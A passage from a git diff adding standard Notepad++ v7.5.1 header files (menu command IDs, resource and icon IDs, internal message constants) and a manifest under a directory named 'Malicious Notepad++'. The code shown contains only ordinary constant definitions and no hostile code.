IDM_FORMAT_UCS_2BE (IDM_FORMAT + 6) + #define IDM_FORMAT_UCS_2LE (IDM_FORMAT + 7) + #define IDM_FORMAT_AS_UTF_8 (IDM_FORMAT + 8) + #define IDM_FORMAT_CONV2_ANSI (IDM_FORMAT + 9) + #define IDM_FORMAT_CONV2_AS_UTF_8 (IDM_FORMAT + 10) + #define IDM_FORMAT_CONV2_UTF_8 (IDM_FORMAT + 11) + #define IDM_FORMAT_CONV2_UCS_2BE (IDM_FORMAT + 12) + #define IDM_FORMAT_CONV2_UCS_2LE (IDM_FORMAT + 13) + + #define IDM_FORMAT_ENCODE (IDM_FORMAT + 20) + #define IDM_FORMAT_WIN_1250 (IDM_FORMAT_ENCODE + 0) + #define IDM_FORMAT_WIN_1251 (IDM_FORMAT_ENCODE + 1) + #define IDM_FORMAT_WIN_1252 (IDM_FORMAT_ENCODE + 2) + #define IDM_FORMAT_WIN_1253 (IDM_FORMAT_ENCODE + 3) + #define IDM_FORMAT_WIN_1254 (IDM_FORMAT_ENCODE + 4) + #define IDM_FORMAT_WIN_1255 (IDM_FORMAT_ENCODE + 5) + #define IDM_FORMAT_WIN_1256 (IDM_FORMAT_ENCODE + 6) + #define IDM_FORMAT_WIN_1257 (IDM_FORMAT_ENCODE + 7) + #define IDM_FORMAT_WIN_1258 (IDM_FORMAT_ENCODE + 8) + #define IDM_FORMAT_ISO_8859_1 (IDM_FORMAT_ENCODE + 9) + #define IDM_FORMAT_ISO_8859_2 (IDM_FORMAT_ENCODE + 10) + #define IDM_FORMAT_ISO_8859_3 (IDM_FORMAT_ENCODE + 11) + #define IDM_FORMAT_ISO_8859_4 (IDM_FORMAT_ENCODE + 12) + #define IDM_FORMAT_ISO_8859_5 (IDM_FORMAT_ENCODE + 13) + #define IDM_FORMAT_ISO_8859_6 (IDM_FORMAT_ENCODE + 14) + #define IDM_FORMAT_ISO_8859_7 (IDM_FORMAT_ENCODE + 15) + #define IDM_FORMAT_ISO_8859_8 (IDM_FORMAT_ENCODE + 16) + #define IDM_FORMAT_ISO_8859_9 (IDM_FORMAT_ENCODE + 17) + #define IDM_FORMAT_ISO_8859_10 (IDM_FORMAT_ENCODE + 18) + #define IDM_FORMAT_ISO_8859_11 (IDM_FORMAT_ENCODE + 19) + #define IDM_FORMAT_ISO_8859_13 (IDM_FORMAT_ENCODE + 20) + #define IDM_FORMAT_ISO_8859_14 (IDM_FORMAT_ENCODE + 21) + #define IDM_FORMAT_ISO_8859_15 (IDM_FORMAT_ENCODE + 22) + #define IDM_FORMAT_ISO_8859_16 (IDM_FORMAT_ENCODE + 23) + #define IDM_FORMAT_DOS_437 (IDM_FORMAT_ENCODE + 24) + #define IDM_FORMAT_DOS_720 (IDM_FORMAT_ENCODE + 25) + #define IDM_FORMAT_DOS_737 (IDM_FORMAT_ENCODE + 26) + #define IDM_FORMAT_DOS_775 (IDM_FORMAT_ENCODE + 27) + #define IDM_FORMAT_DOS_850 (IDM_FORMAT_ENCODE + 28) + #define IDM_FORMAT_DOS_852 (IDM_FORMAT_ENCODE + 29) + #define IDM_FORMAT_DOS_855 (IDM_FORMAT_ENCODE + 30) + #define IDM_FORMAT_DOS_857 (IDM_FORMAT_ENCODE + 31) + #define IDM_FORMAT_DOS_858 (IDM_FORMAT_ENCODE + 32) + #define IDM_FORMAT_DOS_860 (IDM_FORMAT_ENCODE + 33) + #define IDM_FORMAT_DOS_861 (IDM_FORMAT_ENCODE + 34) + #define IDM_FORMAT_DOS_862 (IDM_FORMAT_ENCODE + 35) + #define IDM_FORMAT_DOS_863 (IDM_FORMAT_ENCODE + 36) + #define IDM_FORMAT_DOS_865 (IDM_FORMAT_ENCODE + 37) + #define IDM_FORMAT_DOS_866 (IDM_FORMAT_ENCODE + 38) + #define IDM_FORMAT_DOS_869 (IDM_FORMAT_ENCODE + 39) + #define IDM_FORMAT_BIG5 (IDM_FORMAT_ENCODE + 40) + #define IDM_FORMAT_GB2312 (IDM_FORMAT_ENCODE + 41) + #define IDM_FORMAT_SHIFT_JIS (IDM_FORMAT_ENCODE + 42) + #define IDM_FORMAT_KOREAN_WIN (IDM_FORMAT_ENCODE + 43) + #define IDM_FORMAT_EUC_KR (IDM_FORMAT_ENCODE + 44) + #define IDM_FORMAT_TIS_620 (IDM_FORMAT_ENCODE + 45) + #define IDM_FORMAT_MAC_CYRILLIC (IDM_FORMAT_ENCODE + 46) + #define IDM_FORMAT_KOI8U_CYRILLIC (IDM_FORMAT_ENCODE + 47) + #define IDM_FORMAT_KOI8R_CYRILLIC (IDM_FORMAT_ENCODE + 48) + #define IDM_FORMAT_ENCODE_END IDM_FORMAT_KOI8R_CYRILLIC + + //#define IDM_FORMAT_CONVERT 200 + +#define IDM_LANG (IDM + 6000) + #define IDM_LANGSTYLE_CONFIG_DLG (IDM_LANG + 1) + #define IDM_LANG_C (IDM_LANG + 2) + #define IDM_LANG_CPP (IDM_LANG + 3) + #define IDM_LANG_JAVA (IDM_LANG + 4) + #define IDM_LANG_HTML (IDM_LANG + 5) + #define IDM_LANG_XML (IDM_LANG + 6) + #define IDM_LANG_JS (IDM_LANG + 7) + #define IDM_LANG_PHP (IDM_LANG + 8) + #define IDM_LANG_ASP (IDM_LANG + 9) + #define IDM_LANG_CSS (IDM_LANG + 10) + #define IDM_LANG_PASCAL (IDM_LANG + 11) + #define IDM_LANG_PYTHON (IDM_LANG + 12) + #define IDM_LANG_PERL (IDM_LANG + 13) + #define IDM_LANG_OBJC (IDM_LANG + 14) + #define IDM_LANG_ASCII (IDM_LANG + 15) + #define IDM_LANG_TEXT (IDM_LANG + 16) + #define IDM_LANG_RC (IDM_LANG + 17) + #define IDM_LANG_MAKEFILE (IDM_LANG + 18) + #define IDM_LANG_INI (IDM_LANG + 19) + #define IDM_LANG_SQL (IDM_LANG + 20) + #define IDM_LANG_VB (IDM_LANG + 21) + #define IDM_LANG_BATCH (IDM_LANG + 22) + #define IDM_LANG_CS (IDM_LANG + 23) + #define IDM_LANG_LUA (IDM_LANG + 24) + #define IDM_LANG_TEX (IDM_LANG + 25) + #define IDM_LANG_FORTRAN (IDM_LANG + 26) + #define IDM_LANG_BASH (IDM_LANG + 27) + #define IDM_LANG_FLASH (IDM_LANG + 28) + #define IDM_LANG_NSIS (IDM_LANG + 29) + #define IDM_LANG_TCL (IDM_LANG + 30) + #define IDM_LANG_LISP (IDM_LANG + 31) + #define IDM_LANG_SCHEME (IDM_LANG + 32) + #define IDM_LANG_ASM (IDM_LANG + 33) + #define IDM_LANG_DIFF (IDM_LANG + 34) + #define IDM_LANG_PROPS (IDM_LANG + 35) + #define IDM_LANG_PS (IDM_LANG + 36) + #define IDM_LANG_RUBY (IDM_LANG + 37) + #define IDM_LANG_SMALLTALK (IDM_LANG + 38) + #define IDM_LANG_VHDL (IDM_LANG + 39) + #define IDM_LANG_CAML (IDM_LANG + 40) + #define IDM_LANG_KIX (IDM_LANG + 41) + #define IDM_LANG_ADA (IDM_LANG + 42) + #define IDM_LANG_VERILOG (IDM_LANG + 43) + #define IDM_LANG_AU3 (IDM_LANG + 44) + #define IDM_LANG_MATLAB (IDM_LANG + 45) + #define IDM_LANG_HASKELL (IDM_LANG + 46) + #define IDM_LANG_INNO (IDM_LANG + 47) + #define IDM_LANG_CMAKE (IDM_LANG + 48) + #define IDM_LANG_YAML (IDM_LANG + 49) + #define IDM_LANG_COBOL (IDM_LANG + 50) + #define IDM_LANG_D (IDM_LANG + 51) + #define IDM_LANG_GUI4CLI (IDM_LANG + 52) + #define IDM_LANG_POWERSHELL (IDM_LANG + 53) + #define IDM_LANG_R (IDM_LANG + 54) + #define IDM_LANG_JSP (IDM_LANG + 55) + #define IDM_LANG_COFFEESCRIPT (IDM_LANG + 56) + #define IDM_LANG_JSON (IDM_LANG + 57) + #define IDM_LANG_FORTRAN_77 (IDM_LANG + 58) + #define IDM_LANG_BAANC (IDM_LANG + 59) + #define IDM_LANG_SREC (IDM_LANG + 60) + #define IDM_LANG_IHEX (IDM_LANG + 61) + #define IDM_LANG_TEHEX (IDM_LANG + 62) + #define IDM_LANG_SWIFT (IDM_LANG + 63) + #define IDM_LANG_ASN1 (IDM_LANG + 64) + #define IDM_LANG_AVS (IDM_LANG + 65) + #define IDM_LANG_BLITZBASIC (IDM_LANG + 66) + #define IDM_LANG_PUREBASIC (IDM_LANG + 67) + #define IDM_LANG_FREEBASIC (IDM_LANG + 68) + #define IDM_LANG_CSOUND (IDM_LANG + 69) + #define IDM_LANG_ERLANG (IDM_LANG + 70) + #define IDM_LANG_ESCRIPT (IDM_LANG + 71) + #define IDM_LANG_FORTH (IDM_LANG + 72) + #define IDM_LANG_LATEX (IDM_LANG + 73) + #define IDM_LANG_MMIXAL (IDM_LANG + 74) + #define IDM_LANG_NIMROD (IDM_LANG + 75) + #define IDM_LANG_NNCRONTAB (IDM_LANG + 76) + #define IDM_LANG_OSCRIPT (IDM_LANG + 77) + #define IDM_LANG_REBOL (IDM_LANG + 78) + #define IDM_LANG_REGISTRY (IDM_LANG + 79) + #define IDM_LANG_RUST (IDM_LANG + 80) + #define IDM_LANG_SPICE (IDM_LANG + 81) + #define IDM_LANG_TXT2TAGS (IDM_LANG + 82) + #define IDM_LANG_VISUALPROLOG (IDM_LANG + 83) + + #define IDM_LANG_EXTERNAL (IDM_LANG + 165) + #define IDM_LANG_EXTERNAL_LIMIT (IDM_LANG + 179) + + #define IDM_LANG_USER (IDM_LANG + 180) //46180: Used for translation + #define IDM_LANG_USER_LIMIT (IDM_LANG + 210) //46210: Ajust with IDM_LANG_USER + #define IDM_LANG_USER_DLG (IDM_LANG + 250) //46250: Used for translation + + + + +#define IDM_ABOUT (IDM + 7000) + #define IDM_HOMESWEETHOME (IDM_ABOUT + 1) + #define IDM_PROJECTPAGE (IDM_ABOUT + 2) + #define IDM_ONLINEHELP (IDM_ABOUT + 3) + #define IDM_FORUM (IDM_ABOUT + 4) + #define IDM_PLUGINSHOME (IDM_ABOUT + 5) + #define IDM_UPDATE_NPP (IDM_ABOUT + 6) + #define IDM_WIKIFAQ (IDM_ABOUT + 7) + #define IDM_HELP (IDM_ABOUT + 8) + #define IDM_CONFUPDATERPROXY (IDM_ABOUT + 9) + #define IDM_CMDLINEARGUMENTS (IDM_ABOUT + 10) + #define IDM_ONLINESUPPORT (IDM_ABOUT + 11) + #define IDM_DEBUGINFO (IDM_ABOUT + 12) + + +#define IDM_SETTING (IDM + 8000) +// #define IDM_SETTING_TAB_SIZE (IDM_SETTING + 1) +// #define IDM_SETTING_TAB_REPLCESPACE (IDM_SETTING + 2) +// #define IDM_SETTING_HISTORY_SIZE (IDM_SETTING + 3) +// #define IDM_SETTING_EDGE_SIZE (IDM_SETTING + 4) + #define IDM_SETTING_IMPORTPLUGIN (IDM_SETTING + 5) + #define IDM_SETTING_IMPORTSTYLETHEMS (IDM_SETTING + 6) + #define IDM_SETTING_TRAYICON (IDM_SETTING + 8) + #define IDM_SETTING_SHORTCUT_MAPPER (IDM_SETTING + 9) + #define IDM_SETTING_REMEMBER_LAST_SESSION (IDM_SETTING + 10) + #define IDM_SETTING_PREFERECE (IDM_SETTING + 11) +// #define IDM_SETTING_AUTOCNBCHAR (IDM_SETTING + 15) + #define IDM_SETTING_SHORTCUT_MAPPER_MACRO (IDM_SETTING + 16) + #define IDM_SETTING_SHORTCUT_MAPPER_RUN (IDM_SETTING + 17) + #define IDM_SETTING_EDITCONTEXTMENU (IDM_SETTING + 18) + +#define IDM_TOOL (IDM + 8500) + #define IDM_TOOL_MD5_GENERATE (IDM_TOOL + 1) + #define IDM_TOOL_MD5_GENERATEFROMFILE (IDM_TOOL + 2) + #define IDM_TOOL_MD5_GENERATEINTOCLIPBOARD (IDM_TOOL + 3) + + +#define IDM_EXECUTE (IDM + 9000) + +#define IDM_SYSTRAYPOPUP (IDM + 3100) + #define IDM_SYSTRAYPOPUP_ACTIVATE (IDM_SYSTRAYPOPUP + 1) + #define IDM_SYSTRAYPOPUP_NEWDOC (IDM_SYSTRAYPOPUP + 2) + #define IDM_SYSTRAYPOPUP_NEW_AND_PASTE (IDM_SYSTRAYPOPUP + 3) + #define IDM_SYSTRAYPOPUP_OPENFILE (IDM_SYSTRAYPOPUP + 4) + #define IDM_SYSTRAYPOPUP_CLOSE (IDM_SYSTRAYPOPUP + 5) + +#endif //MENUCMDID_H diff --git a/Malicious Notepad++/src/notepad++.exe.manifest b/Malicious Notepad++/src/notepad++.exe.manifest new file mode 100644 index 0000000..b78fd91 --- /dev/null +++ b/Malicious Notepad++/src/notepad++.exe.manifest @@ -0,0 +1,46 @@ + + + +Notepad++ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Malicious Notepad++/src/resource.h b/Malicious Notepad++/src/resource.h new file mode 100644 index 0000000..97c94c1 --- /dev/null +++ b/Malicious Notepad++/src/resource.h @@ -0,0 +1,486 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#define NOTEPAD_PLUS_VERSION TEXT("Notepad++ v7.5.1") + +// should be X.Y : ie. if VERSION_DIGITALVALUE == 4, 7, 1, 0 , then X = 4, Y = 71 +// ex : #define VERSION_VALUE TEXT("5.63\0") +#define VERSION_VALUE TEXT("7.51\0") +#define VERSION_DIGITALVALUE 7, 5, 1, 0 + + + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +#define IDI_M30ICON 100 +#define IDI_CHAMELEON 101 +//#define IDI_JESUISCHARLIE 102 +#define IDR_RT_MANIFEST 103 + +#define IDI_NEW_OFF_ICON 201 +#define IDI_OPEN_OFF_ICON 202 +#define IDI_CLOSE_OFF_ICON 203 +#define IDI_CLOSEALL_OFF_ICON 204 +#define IDI_SAVE_OFF_ICON 205 +#define IDI_SAVEALL_OFF_ICON 206 +#define IDI_CUT_OFF_ICON 207 +#define IDI_COPY_OFF_ICON 208 +#define IDI_PASTE_OFF_ICON 209 +#define IDI_UNDO_OFF_ICON 210 +#define IDI_REDO_OFF_ICON 211 +#define IDI_FIND_OFF_ICON 212 +#define IDI_REPLACE_OFF_ICON 213 +#define IDI_ZOOMIN_OFF_ICON 214 +#define IDI_ZOOMOUT_OFF_ICON 215 +#define IDI_VIEW_UD_DLG_OFF_ICON 216 +#define IDI_PRINT_OFF_ICON 217 +#define IDI_VIEW_ALL_CHAR_ON_ICON 218 +#define IDI_VIEW_INDENT_ON_ICON 219 +#define IDI_VIEW_WRAP_ON_ICON 220 + + +#define IDI_STARTRECORD_OFF_ICON 221 +#define IDI_STARTRECORD_ON_ICON 222 +#define IDI_STARTRECORD_DISABLE_ICON 223 +#define IDI_STOPRECORD_OFF_ICON 224 +#define IDI_STOPRECORD_ON_ICON 225 +#define IDI_STOPRECORD_DISABLE_ICON 226 +#define IDI_PLAYRECORD_OFF_ICON 227 +#define IDI_PLAYRECORD_ON_ICON 228 +#define IDI_PLAYRECORD_DISABLE_ICON 229 +#define IDI_SAVERECORD_OFF_ICON 230 +#define IDI_SAVERECORD_ON_ICON 231 +#define IDI_SAVERECORD_DISABLE_ICON 232 + +// multi run macro +#define IDI_MMPLAY_DIS_ICON 233 +#define IDI_MMPLAY_OFF_ICON 234 +#define IDI_MMPLAY_ON_ICON 235 + +#define IDI_NEW_ON_ICON 301 +#define IDI_OPEN_ON_ICON 302 +#define IDI_CLOSE_ON_ICON 303 +#define IDI_CLOSEALL_ON_ICON 304 +#define IDI_SAVE_ON_ICON 305 +#define IDI_SAVEALL_ON_ICON 306 +#define IDI_CUT_ON_ICON 307 +#define IDI_COPY_ON_ICON 308 +#define IDI_PASTE_ON_ICON 309 +#define IDI_UNDO_ON_ICON 310 +#define IDI_REDO_ON_ICON 311 +#define IDI_FIND_ON_ICON 312 +#define IDI_REPLACE_ON_ICON 313 +#define IDI_ZOOMIN_ON_ICON 314 +#define IDI_ZOOMOUT_ON_ICON 315 +#define IDI_VIEW_UD_DLG_ON_ICON 316 +#define IDI_PRINT_ON_ICON 317 +#define IDI_VIEW_ALL_CHAR_OFF_ICON 318 +#define IDI_VIEW_INDENT_OFF_ICON 319 +#define IDI_VIEW_WRAP_OFF_ICON 320 + +//#define IDI_NEW_DISABLE_ICON 401 +//#define IDI_OPEN_ON_ICON 402 +#define IDI_SAVE_DISABLE_ICON 403 +#define IDI_SAVEALL_DISABLE_ICON 404 +//#define IDI_CLOSE_ON_ICON 405 +//#define IDI_CLOSEALL_ON_ICON 406 +#define IDI_CUT_DISABLE_ICON 407 +#define IDI_COPY_DISABLE_ICON 408 +#define IDI_PASTE_DISABLE_ICON 409 +#define IDI_UNDO_DISABLE_ICON 410 +#define IDI_REDO_DISABLE_ICON 411 +#define IDI_DELETE_ICON 412 + +#define IDI_SYNCV_OFF_ICON 413 +#define IDI_SYNCV_ON_ICON 414 +#define IDI_SYNCV_DISABLE_ICON 415 + +#define IDI_SYNCH_OFF_ICON 416 +#define IDI_SYNCH_ON_ICON 417 +#define IDI_SYNCH_DISABLE_ICON 418 + +#define IDI_SAVED_ICON 501 +#define IDI_UNSAVED_ICON 502 +#define IDI_READONLY_ICON 503 +#define IDI_FIND_RESULT_ICON 504 +#define IDI_MONITORING_ICON 505 + +#define IDI_PROJECT_WORKSPACE 601 +#define IDI_PROJECT_WORKSPACEDIRTY 602 +#define IDI_PROJECT_PROJECT 603 +#define IDI_PROJECT_FOLDEROPEN 604 +#define IDI_PROJECT_FOLDERCLOSE 605 +#define IDI_PROJECT_FILE 606 +#define IDI_PROJECT_FILEINVALID 607 +#define IDI_FB_ROOTOPEN 608 +#define IDI_FB_ROOTCLOSE 609 + +#define IDI_FUNCLIST_ROOT 620 +#define IDI_FUNCLIST_NODE 621 +#define IDI_FUNCLIST_LEAF 622 + +#define IDI_FUNCLIST_SORTBUTTON 631 +#define IDI_FUNCLIST_RELOADBUTTON 632 + +#define IDC_MY_CUR 1402 +#define IDC_UP_ARROW 1403 +#define IDC_DRAG_TAB 1404 +#define IDC_DRAG_INTERDIT_TAB 1405 +#define IDC_DRAG_PLUS_TAB 1406 +#define IDC_DRAG_OUT_TAB 1407 + +#define IDC_MACRO_RECORDING 1408 + +#define IDR_SAVEALL 1500 +#define IDR_CLOSEFILE 1501 +#define IDR_CLOSEALL 1502 +#define IDR_FIND 1503 +#define IDR_REPLACE 1504 +#define IDR_ZOOMIN 1505 +#define IDR_ZOOMOUT 1506 +#define IDR_WRAP 1507 +#define IDR_INVISIBLECHAR 1508 +#define IDR_INDENTGUIDE 1509 +#define IDR_SHOWPANNEL 1510 +#define IDR_STARTRECORD 1511 +#define IDR_STOPRECORD 1512 +#define IDR_PLAYRECORD 1513 +#define IDR_SAVERECORD 1514 +#define IDR_SYNCV 1515 +#define IDR_SYNCH 1516 +#define IDR_FILENEW 1517 +#define IDR_FILEOPEN 1518 +#define IDR_FILESAVE 1519 +#define IDR_PRINT 1520 +#define IDR_CUT 1521 +#define IDR_COPY 1522 +#define IDR_PASTE 1523 +#define IDR_UNDO 1524 +#define IDR_REDO 1525 +#define IDR_M_PLAYRECORD 1526 +#define IDR_DOCMAP 1527 +#define IDR_FUNC_LIST 1528 +#define IDR_FILEBROWSER 1529 +#define IDR_CLOSETAB 1530 +#define IDR_CLOSETAB_INACT 1531 +#define IDR_CLOSETAB_HOVER 1532 +#define IDR_CLOSETAB_PUSH 1533 +#define IDR_FUNC_LIST_ICO 1534 +#define IDR_DOCMAP_ICO 1535 +#define IDR_PROJECTPANEL_ICO 1536 +#define IDR_CLIPBOARDPANEL_ICO 1537 +#define IDR_ASCIIPANEL_ICO 1538 +#define IDR_DOCSWITCHER_ICO 1539 +#define IDR_FILEBROWSER_ICO 1540 +#define IDR_FILEMONITORING 1541 + +#define ID_MACRO 20000 +#define ID_MACRO_LIMIT 20200 + +#define ID_USER_CMD 21000 +#define ID_USER_CMD_LIMIT 21200 + +#define ID_PLUGINS_CMD 22000 +#define ID_PLUGINS_CMD_LIMIT 22500 + +#define ID_PLUGINS_CMD_DYNAMIC 23000 +#define ID_PLUGINS_CMD_DYNAMIC_LIMIT 24999 + +#define MARKER_PLUGINS 3 +#define MARKER_PLUGINS_LIMIT 19 +/*UNLOAD +#define ID_PLUGINS_REMOVING 22501 +#define ID_PLUGINS_REMOVING_END 22600 +*/ + + +//#define IDM 40000 + +#define IDCMD 50000 + //#define IDM_EDIT_AUTOCOMPLETE (IDCMD+0) + //#define IDM_EDIT_AUTOCOMPLETE_CURRENTFILE (IDCMD+1) + + #define IDC_PREV_DOC (IDCMD+3) + #define IDC_NEXT_DOC (IDCMD+4) + #define IDC_EDIT_TOGGLEMACRORECORDING (IDCMD+5) + //#define IDC_KEY_HOME (IDCMD+6) + //#define IDC_KEY_END (IDCMD+7) + //#define IDC_KEY_SELECT_2_HOME (IDCMD+8) + //#define IDC_KEY_SELECT_2_END (IDCMD+9) + +#define IDCMD_LIMIT (IDCMD+20) + +#define IDSCINTILLA 60000 + #define IDSCINTILLA_KEY_HOME (IDSCINTILLA+0) + #define IDSCINTILLA_KEY_HOME_WRAP (IDSCINTILLA+1) + #define IDSCINTILLA_KEY_END (IDSCINTILLA+2) + #define IDSCINTILLA_KEY_END_WRAP (IDSCINTILLA+3) + #define IDSCINTILLA_KEY_LINE_DUP (IDSCINTILLA+4) + #define IDSCINTILLA_KEY_LINE_CUT (IDSCINTILLA+5) + #define IDSCINTILLA_KEY_LINE_DEL (IDSCINTILLA+6) + #define IDSCINTILLA_KEY_LINE_TRANS (IDSCINTILLA+7) + #define IDSCINTILLA_KEY_LINE_COPY (IDSCINTILLA+8) + #define IDSCINTILLA_KEY_CUT (IDSCINTILLA+9) + #define IDSCINTILLA_KEY_COPY (IDSCINTILLA+10) + #define IDSCINTILLA_KEY_PASTE (IDSCINTILLA+11) + #define IDSCINTILLA_KEY_DEL (IDSCINTILLA+12) + #define IDSCINTILLA_KEY_SELECTALL (IDSCINTILLA+13) + #define IDSCINTILLA_KEY_OUTDENT (IDSCINTILLA+14) + #define IDSCINTILLA_KEY_UNDO (IDSCINTILLA+15) + #define IDSCINTILLA_KEY_REDO (IDSCINTILLA+16) +#define IDSCINTILLA_LIMIT (IDSCINTILLA+30) + +#define IDD_FILEVIEW_DIALOG 1000 + +#define IDC_MINIMIZED_TRAY 67001 + +#define IDD_CREATE_DIRECTORY 1100 +#define IDC_STATIC_CURRENT_FOLDER 1101 +#define IDC_EDIT_NEW_FOLDER 1102 + +#define IDD_INSERT_INPUT_TEXT 1200 +#define IDC_EDIT_INPUT_VALUE 1201 +#define IDC_STATIC_INPUT_TITLE 1202 +#define IDC_ICON_INPUT_ICON 1203 + +#define IDR_M30_MENU 1500 + +#define IDR_SYSTRAYPOPUP_MENU 1501 + +// #define IDD_FIND_REPLACE_DLG 1600 + +#define IDD_ABOUTBOX 1700 +#define IDC_LICENCE_EDIT 1701 +#define IDC_HOME_ADDR 1702 +#define IDC_EMAIL_ADDR 1703 +#define IDC_ONLINEHELP_ADDR 1704 +#define IDC_AUTHOR_NAME 1705 +#define IDC_BUILD_DATETIME 1706 +#define IDC_VERSION_BIT 1707 + +#define IDD_DEBUGINFOBOX 1750 +#define IDC_DEBUGINFO_EDIT 1751 +#define IDC_DEBUGINFO_COPYLINK 1752 + +//#define IDD_USER_DEFINE_BOX 1800 +//#define IDD_RUN_DLG 1900 +//#define IDD_MD5FROMFILES_DLG 1920 +//#define IDD_MD5FROMTEXT_DLG 1930 + +#define IDD_GOLINE 2000 +#define ID_GOLINE_EDIT (IDD_GOLINE + 1) +#define ID_CURRLINE (IDD_GOLINE + 2) +#define ID_LASTLINE (IDD_GOLINE + 3) +#define ID_URHERE_STATIC (IDD_GOLINE + 4) +#define ID_UGO_STATIC (IDD_GOLINE + 5) +#define ID_NOMORETHAN_STATIC (IDD_GOLINE + 6) +#define IDC_RADIO_GOTOLINE (IDD_GOLINE + 7) +#define IDC_RADIO_GOTOOFFSET (IDD_GOLINE + 8) + +// voir columnEditor_rc.h +//#define IDD_COLUMNEDIT 2020 + + +//#define IDD_COLOUR_POPUP 2100 + +// See WordStyleDlgRes.h +//#define IDD_STYLER_DLG 2200 +//#define IDD_GLOBAL_STYLER_DLG 2300 + +#define IDD_VALUE_DLG 2400 +#define IDC_VALUE_STATIC 2401 +#define IDC_VALUE_EDIT 2402 + +#define IDD_BUTTON_DLG 2410 +#define IDC_RESTORE_BUTTON 2411 + +// see TaskListDlg_rc.h +//#define IDD_TASKLIST_DLG 2450 +#define IDD_SETTING_DLG 2500 + + + +//See ShortcutMapper_rc.h +//#define IDD_SHORTCUTMAPPER_DLG 2600 + +//See ansiCharPanel_rc.h +//#define IDD_ANSIASCII_PANEL 2700 + +//See clipboardHistoryPanel_rc.h +//#define IDD_CLIPBOARDHISTORY_PANEL 2800 + +//See findCharsInRange_rc.h +//#define IDD_FINDCHARACTERS 2900 + +//See VerticalFileSwitcher_rc.h +//#define IDD_FILESWITCHER_PANEL 3000 + +//See ProjectPanel_rc.h +//#define IDD_PROJECTPANEL 3100 +//#define IDD_FILERELOCALIZER_DIALOG 3200 + +//See documentMap_rc.h +//#define IDD_DOCUMENTMAP 3300 + +//See functionListPanel_rc.h +//#define IDD_FUNCLIST_PANEL 3400 + +//See fileBrowser_rc.h +//#define IDD_FILEBROWSER 3500 + +//See documentSnapshot_rc.h +//#define IDD_DOCUMENSNAPSHOT 3600 + +// See regExtDlg.h +//#define IDD_REGEXT 4000 + +// See shortcutRc.h +//#define IDD_SHORTCUT_DLG 5000 + +// See pluginsAdminRes.h +//#define IDD_PLUGINSADMIN_DLG 5500 + +// See preference.rc +//#define IDD_PREFERENCE_BOX 6000 + +#define NOTEPADPLUS_USER_INTERNAL (WM_USER + 0000) + #define NPPM_INTERNAL_USERCMDLIST_MODIFIED (NOTEPADPLUS_USER_INTERNAL + 1) + #define NPPM_INTERNAL_CMDLIST_MODIFIED (NOTEPADPLUS_USER_INTERNAL + 2) + #define NPPM_INTERNAL_MACROLIST_MODIFIED (NOTEPADPLUS_USER_INTERNAL + 3) + #define NPPM_INTERNAL_PLUGINCMDLIST_MODIFIED (NOTEPADPLUS_USER_INTERNAL + 4) + #define NPPM_INTERNAL_CLEARSCINTILLAKEY (NOTEPADPLUS_USER_INTERNAL + 5) + #define NPPM_INTERNAL_BINDSCINTILLAKEY (NOTEPADPLUS_USER_INTERNAL + 6) + #define NPPM_INTERNAL_SCINTILLAKEYMODIFIED (NOTEPADPLUS_USER_INTERNAL + 7) + #define NPPM_INTERNAL_SCINTILLAFINFERCOLLAPSE (NOTEPADPLUS_USER_INTERNAL + 8) + #define NPPM_INTERNAL_SCINTILLAFINFERUNCOLLAPSE (NOTEPADPLUS_USER_INTERNAL + 9) + #define NPPM_INTERNAL_DISABLEAUTOUPDATE (NOTEPADPLUS_USER_INTERNAL + 10) + #define NPPM_INTERNAL_SETTING_HISTORY_SIZE (NOTEPADPLUS_USER_INTERNAL + 11) + #define NPPM_INTERNAL_ISTABBARREDUCED (NOTEPADPLUS_USER_INTERNAL + 12) + #define NPPM_INTERNAL_ISFOCUSEDTAB (NOTEPADPLUS_USER_INTERNAL + 13) + #define NPPM_INTERNAL_GETMENU (NOTEPADPLUS_USER_INTERNAL + 14) + #define NPPM_INTERNAL_CLEARINDICATOR (NOTEPADPLUS_USER_INTERNAL + 15) + #define NPPM_INTERNAL_SCINTILLAFINFERCOPY (NOTEPADPLUS_USER_INTERNAL + 16) + #define NPPM_INTERNAL_SCINTILLAFINFERSELECTALL (NOTEPADPLUS_USER_INTERNAL + 17) + #define NPPM_INTERNAL_SETCARETWIDTH (NOTEPADPLUS_USER_INTERNAL + 18) + #define NPPM_INTERNAL_SETCARETBLINKRATE (NOTEPADPLUS_USER_INTERNAL + 19) + #define NPPM_INTERNAL_CLEARINDICATORTAGMATCH (NOTEPADPLUS_USER_INTERNAL + 20) + #define NPPM_INTERNAL_CLEARINDICATORTAGATTR (NOTEPADPLUS_USER_INTERNAL + 21) + #define NPPM_INTERNAL_SWITCHVIEWFROMHWND (NOTEPADPLUS_USER_INTERNAL + 22) + #define NPPM_INTERNAL_UPDATETITLEBAR (NOTEPADPLUS_USER_INTERNAL + 23) + #define NPPM_INTERNAL_CANCEL_FIND_IN_FILES (NOTEPADPLUS_USER_INTERNAL + 24) + #define NPPM_INTERNAL_RELOADNATIVELANG (NOTEPADPLUS_USER_INTERNAL + 25) + #define NPPM_INTERNAL_PLUGINSHORTCUTMOTIFIED (NOTEPADPLUS_USER_INTERNAL + 26) + #define NPPM_INTERNAL_SCINTILLAFINFERCLEARALL (NOTEPADPLUS_USER_INTERNAL + 27) + #define NPPM_INTERNAL_SETTING_EDGE_SIZE (NOTEPADPLUS_USER_INTERNAL + 28) + #define NPPM_INTERNAL_SETTING_TAB_REPLCESPACE (NOTEPADPLUS_USER_INTERNAL + 29) + #define NPPM_INTERNAL_SETTING_TAB_SIZE 